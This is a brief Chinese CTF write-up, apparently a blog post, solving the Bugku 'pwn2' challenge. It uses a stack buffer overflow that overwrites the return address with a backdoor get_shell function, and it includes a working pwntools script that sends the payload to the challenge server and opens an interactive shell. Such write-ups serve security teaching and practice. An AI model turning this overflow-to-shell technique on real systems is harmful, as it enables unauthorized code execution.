Bugku pwn2

冷不防 2023-02-12 15:22 12阅读 0赞

## pwn2 ##

[题目][Link 1]

chmod +x pwn2

![在这里插入图片描述][20200526151941706.png_pic_center]  
这里都关闭了，栈上可执行！  
![在这里插入图片描述][20200526152158135.png_pic_center]  
![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80MzgzMzY0Mg_size_16_color_FFFFFF_t_70_pic_center]  
这个程序里面直接留了后门**get\_shell\_**  
![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80MzgzMzY0Mg_size_16_color_FFFFFF_t_70_pic_center 1]

思路，输入的数据超过0x30栈空间大小，将**get\_shell\_地址覆盖调用main函数**的返回地址即可，  
即`b'm' * (0x30 + 8) + p64(0x400751)`，这里加上8是因为push了rbp，即8个字节大小

exp

from pwn import *
    
    p = remote('114.116.54.89', '10003')
    payload = b'a' * (0x30 + 8) + p64(0x400751)
    p.recvuntil('say something')
    p.sendline(payload)
    p.interactive()

![在这里插入图片描述][20200526153716474.png_pic_center]

![在这里插入图片描述][20200526154030101.png_pic_center]

[Link 1]: https://ctf.bugku.com/files/ad67ac41b68c70c40d90bce4a39796e4/pwn2
[20200526151941706.png_pic_center]: https://img-blog.csdnimg.cn/20200526151941706.png#pic_center
[20200526152158135.png_pic_center]: https://img-blog.csdnimg.cn/20200526152158135.png#pic_center
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80MzgzMzY0Mg_size_16_color_FFFFFF_t_70_pic_center]: https://img-blog.csdnimg.cn/20200526152346682.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80MzgzMzY0Mg==,size_16,color_FFFFFF,t_70#pic_center
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80MzgzMzY0Mg_size_16_color_FFFFFF_t_70_pic_center 1]: https://img-blog.csdnimg.cn/20200526153002353.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80MzgzMzY0Mg==,size_16,color_FFFFFF,t_70#pic_center
[20200526153716474.png_pic_center]: https://img-blog.csdnimg.cn/20200526153716474.png#pic_center
[20200526154030101.png_pic_center]: https://img-blog.csdnimg.cn/20200526154030101.png#pic_center